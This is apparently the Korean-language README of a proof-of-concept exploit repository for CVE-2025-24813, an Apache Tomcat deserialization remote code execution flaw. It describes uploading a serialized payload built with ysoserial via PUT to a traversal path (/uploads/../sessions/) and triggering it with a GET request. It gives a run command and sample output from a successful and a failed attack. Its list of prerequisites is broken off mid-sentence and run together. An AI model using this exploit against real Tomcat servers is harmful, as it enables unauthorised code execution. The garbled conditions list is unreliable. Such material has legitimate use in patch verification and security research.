
이 저장소에는 Apache Tomcat의 원격 코드 실행(RCE) 취약점인 **CVE-2025-24813**을 악용하기 위한 자동화된 개념 증명(PoC) 스크립트가 포함되어 있습니다. 이 취약점은 공격자가 악성 직렬화 페이로드를 서버에 업로드할 수 있게 하며, 특정 조건이 충족되면 역직렬화를 통한 임의 코드 실행으로 이어집니다.
CVE-2025-24813은 업로드된 세션 파일의 부적절한 처리와 역직렬화 메커니즘을 이용하는 Apache Tomcat의 이론적 RCE 취약점입니다. 공격자는 쓰기 가능한 디렉터리(예: /uploads/../sessions/)에 조작된 페이로드를 업로드하여 역직렬화를 트리거하고, 대상 서버에서 임의 명령을 실행할 수 있습니다.
이 PoC가 취약점을 성공적으로 악용하려면 다음 조건이 충족되어야 합니다.
/index.jsp에 대한 GET 요청)하고 페이로드의 역직렬화를 트리거해야 합니다.ysoserial을 사용하여 페이로드를 생성하거나 Java 기반 페이로드를 컴파일하기 위해 Java가 설치되어 있어야 합니다.ysoserial 페이로드 유형을 사용하는 경우 ysoserial.jar 파일이 로컬에 있어야 합니다.python CVE-2025-24813.py <target_url> [options]
[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://localhost:8081/uploads/../sessions/absholi7ly.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://localhost:8081 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser
[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[-] Payload upload failed: http://localhost:8081/uploads/../sessions/absholi7ly.session (HTTP 403)
[-] Target http://localhost:8081 does not appear vulnerable or exploit failed.
[+] Temporary file removed: payload.ser